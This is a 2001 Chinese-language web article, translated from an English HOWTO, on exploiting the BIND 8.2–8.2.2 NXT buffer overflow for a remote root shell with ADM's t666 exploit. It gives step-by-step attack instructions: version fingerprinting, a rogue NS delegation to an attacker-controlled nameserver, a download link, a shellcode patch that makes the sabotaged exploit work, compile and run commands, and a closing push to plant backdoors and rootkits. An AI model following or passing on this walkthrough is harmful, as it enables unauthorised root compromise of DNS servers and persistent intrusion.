[ 永遠的UNIX::UNIX技術資料的寶庫 ]   GB | BIG5

首頁 > 安全技術 > 程序 > 正文
bind8.2-8.2.2漏洞利用HOWTO
http://www.fanqiang.com (2001-05-19 11:00:00)

by quack
參考資料:NXT-Howto---by E-Mind

Section A - 何謂DNS?
-------------------------- 

1. 怎樣查詢一個DNS?

首先,你或許知道如果你配置好TCP/IP希望能通過你的瀏覽器直接鍵入主機名就能找到一個網站,而不必每次都鍵入復雜難記的IP地址的話,你還需要配置DNS服務器,你可以從你的ISP那裡得到DNS服務器的地址。UNIX系統提供了一個叫nslookup的實用工具來對DNS進行查詢,它的語法如下: 

$nslookup  

或者 

$nslookup 

配置DNS需要兩個關域的列表zone文件,一個zone文件用來將域名解析為IP,另一個則將IP解析為域名,nslookup則是兩者交互的工具,簡單地在shell下鍵入nslookup並回車,你會得到一個>提示符,然我們就可以輸入IP地址或者域名了。關nslookup的其它命令在面我們會再陸續提到……

2. 如何發現DNS的漏洞? 

記住我們是在尋找可利用的nameserver。
首先我們必須找出運行在遠程機器上DNS服務器的版本號,而且最好還要找出它的操作系統現在已經有很多關這些的討論。我們將使用一個在大多數UNIX系統中都能使用的實用工具dig來做這件事,它的語法是: 

$dig @ version.bind chaos txt | grep \"8

然查看輸出,如果你看到的是8.2或者8.2.1或8.2.2,那它存在漏洞,如果是8.2.2P2 - P5則是安全的。

如果你無法從你的終端中得到任何輸出,則可能是DNS管理員修改過源代碼,限制了這一信息的輸出,當然它也有可能是存在漏洞的。

Section B - 如何編輯DNS?
-------------------------------------- 

DNS的配置文件都是些文本,所以你要更改或者添加入口只需要編輯該文件並重啟服務就行了,這個文件是/etc/named.conf或者/etc/named.boot,如果/etc/named.conf存在,那它就是你的目標了……

1. 怎樣找到域文件? 

這是很簡單的工作你需要編輯zone文件來改變或者添加一個通往該域的入口,比如說infoseek.com吧,主機名是www,所以正式域名(FQDN)就是www.infoseek.com(FQDN=Fully Qualified Domain Name),要找到該zone文件我們首先要向DNS服務器進行查詢,具體如下:

$nslookup
Default Server: xxxxxx.xxxxxxx.xx.xx
Address: xxx.xx.xx.xx
>set q=ns
>infoseek.com
>infoseek.com nameserver = NS-UU.infoseek.com
>NS-UU.infoseek.com internet address = 198.5.208.3 


瞧,現在我們得到了infoseek.com的name server的IP地址,我們先假定自己是那台機器的root吧,我們SSH進入DNS,查找文件/etc/named.conf,我們可以在它的options部分看到 

directory "/var/named" 

這表示zone文件在/var/named下。 

更深入一點看看zone部分,在infoseek.com裡我們可以看到: 

zone "infoseek.com"{
type master;
file "infoseek.com.zone";
}; 

所以現在我們知道我們所感興趣的zone文件是:/var/named/infoseek.com.zone這就是我們所要編輯的東西了。 

2. 怎樣編輯域文件? 

首先讓我們好好看看zone文件吧
在頂部的SOA段的東東暫時先不放到一邊,往下看……你可以看到:

@ IN NS NS-UU.infoseek.com.
www IN A 204.192.96.173
ftp IN CNAME corp-bbn
corp-bbn IN A 204.192.96.2
.
.
.

有幾種不同類型的記錄,但要使我們的exploit運行起來,你只需要盯緊NS段就行了……
quack注:
(對/etc/named.conf或/etc/named.boot中的命令,偶現在作一下簡單的介紹: 

a、SOA :這是主服務器設定文件中必須設的命令,通常放在文件的第一行,如下: 

@ 9999999 IN SOA NS-UU.infoseek.com. quack.NS-UU.infoseek.com.
壹 貳  肆 伍 陸 

1987022701;Searial 柒
10800;Refresh 3 hour 捌
3600 ;Retry 1 hour 玖
3600000;expire 1000 hours 拾
86400 );Minimum 24 hours 拾壹 

壹:@表示當前域
貳:TTL(time-to_live),意思是在TTL時間內如果用戶沒有使用這個域名則會自動消失,9999999表示永不超時。
:地址類別,無須改動,填IN既可
肆:SOA,開頭記錄
伍:域名服務器,這裡要注意的是必須在最加上.如果沒有加入.的話,系統會在最加上你所定義的域名。比如

www IN A 204.192.96.173

也可以寫成

www.infoseek.com. IN A 204.192.96.173

兩者是一樣的。
陸:管理員的EMAIL,同樣最要加.
柒:版本序列
捌:更新時間
玖:重試時間
拾:終止時間
拾壹:也是TTL,如果貳是空的話,將以此值為準 

b、A:指定域名和IP地址的對應關系,如: 

www IN A 204.192.96.173
壹 貳  肆 

壹:主機名稱
:A命令在些就能夠使www.infoseek.com與204.192.96.173對應 

c、NS:域名服務器的資源記錄(這就是稍我們要改的地方了,睜大眼哦)

@ IN NS NS-UU.infoseek.com.
壹 貳  肆 伍 

壹:填機器名,或者@或留空表示自己所在域
貳:留空則表示使用默認的TTL時間
伍:域名服務器名 

d、CNAME:設定一台機器可以有的幾個域名,如:

ftp IN CNAME corp-bbn
corp-bbn IN A 204.192.96.2 

這樣可以使域名為ftp.infoseek.com的機器和corp-bbn.infoseek.com所指的是同一台機器。 

e、PTR:讓配置文件中的主機可以使用IP地址來知道所對應的域名)


為了讓exploit正常工作,我們還需要加入一個子域,所以還是假定我們是這台NS-UU.infoseek.com的root吧……

如何加入一個子域呢?
我們只需要加入另一個NS記錄 

subdomain IN NS hacker.box.com. 

這表示subdomain.infoseek.com的名字服務器是hacker.box.com,這個域名需要被解析成你的機器的IP,所以用你的正式域名替換它吧……現在我們需要重新啟動名字服務器來使我們的改動生效。用下面的命令: 

#/usr/sbin/ndc restart
new pid is 24654



Section C - 如何利用存在漏洞的機器?
------------------------------------------------- 

1. 開始之前需要準備什? 

一台要運行exploit的機器
一台有ROOT權限的DNS,更改過zone文件的……

2. 相關理論 

這個利用程序是根據BIND versions 8.2 - 8.2.2的緩沖溢出來遠程獲取rootshell的。它將利用程序綁定在本地機器的端口53充當DNS SERVER,當某台機器進行查詢時,會發送一個大的NXT記錄其中包含能使遠程BIND SERVER溢出的代碼當然遠程機器必須存在漏洞……

如果你對緩沖區溢出感興趣的話,可以閱讀Aleph One的精採文章:

Phrack 49 Article 14 - Smashing The Stack For Fun And Profit.
URL: http://www.phrack.com/search.phtml?view&article=p49-14 

譯者注:這篇文章已由TT翻譯成中文,在白雲黃鶴BBS、HackerBBS及綠盟BBS裡都有 

3. 從何處獲得利用程序? 

http://www.hack.co.za/daem0n/named/t666.c 

4. 我為什要patch利用程序? 

你或許聽說過可能要對利用程序進行patch才能正確使用,這是因為ADM認為只有比較出色的hacker才能使用他們的exploit,所以他們在代碼裡留了個小小的bug實際上就是將shellcode裡的/bin/sh替換成了/adm/sh…… 

5. 如何patch?

只需要對代碼做很小的改動: 

/ = 2F(HEX) ===> / = 2F(HEX)
a = 61(HEX) ===> b = 62(HEX)
d = 64(HEX) ===> i = 69(HEX)
m = 6D(HEX) ===> n = 6E(HEX)
/ = 2F(HEX) ===> / = 2F(HEX)

所以所有我們需要做的就是找出源代碼中的0x2f,0x61,0x64,0x6d,0x2f替換成0x2f,0x62,0x69,0x6e,0x2f就行了。 

6. 如何編譯?

$gcc t666.c -o t666


7. 如何運行? 

$su
Password:
#./t666 1 

當然如果在這台你運行exploit的機器上如果原來有運行named的話,要先殺掉 

# killall -9 named 

這時exploit就已經綁定在53端口並且等待有漏洞的機器的查詢了,一旦某個查詢請求發出,這台機器上會有如下輸出: 

Received request from xxx.xx.xx.xx:1025 for xxx.xxxxxxxxx.xx.xx type=1

好了,如果來查詢的機器是運行Linux Redhat 6.x - named 8.2/8.2.1
(from rpm)的話,你就爽了,能夠拿到一個rootshell了……為什要紅帽呢?因為我們在運行時指定了./t666 1,看看下邊的usage就知道了……我只在紅帽LINUX下測試運行,所以不要詢問為何solaris不能用之類的問題,我沒有solaris來測試,而且我也沒有更多的時間來做這件事……
你將會得到一個遠程的root shell如同現在大多數遠程利用程序一樣,開的將是1524的端口。下面是這個利用程序的usage…… 

Usage: ./t666 architecture [command]
Available architectures:
1: Linux Redhat 6.x - named 8.2/8.2.1 (from rpm)
2: Linux SolarDiz's non-exec stack patch - named 8.2/8.2.1
3: Solaris 7 (0xff) - named 8.2.1
4: Solaris 2.6 - named 8.2.1
5: FreeBSD 3.2-RELEASE - named 8.2
6: OpenBSD 2.5 - named 8.2
7: NetBSD 1.4.1 - named 8.2.1 


8. 讓目標DNS服務器查詢我的IP 

當你在name server裡添加了一個subdomain並將自己加入DNS,一切都很簡單了,你需要做的僅僅是在你加入的主域中查詢一個有漏洞的主機……

$nslookup
>server 
>www.subdomain.infoseek.com 

看看會發生什吧當查詢發生時,NS-UU.infoseek.com會告訴victim機器你的hacker.box.com.是最權威的NAME SERVER……所以victim就找上門來了,然……:)

9. 離開前該做的事 

你可以在上面添加自己的門以便日再來訪問在因特網上你可以找到大量的木馬及rootkit,至怎裝,是你自己的事了…… 

Section D - 版權聲明 

1. 這篇文章的大多數是從E-Mind的BIND 8.2 - 8.2.2 *Remote root Exploit How-To*翻譯過來的,對此文的版權當然歸屬原作者面一串的聲明俺就不譯了…… 

2. 俺碼的字沒有版權,高興轉就轉,高興改就改……當然出事不是俺的錯……對這篇文字俺所做的就是在section B加了些有關DNS的技術說明,本來在section C要加上一點自己的測試說明,但昨天在白雲黃鶴見了cloudsky大蝦的話,便藏私了……
(http://www.fanqiang.com)
    進入【UNIX論壇

相關文章
 

★  樊強制作 歡迎分享  ★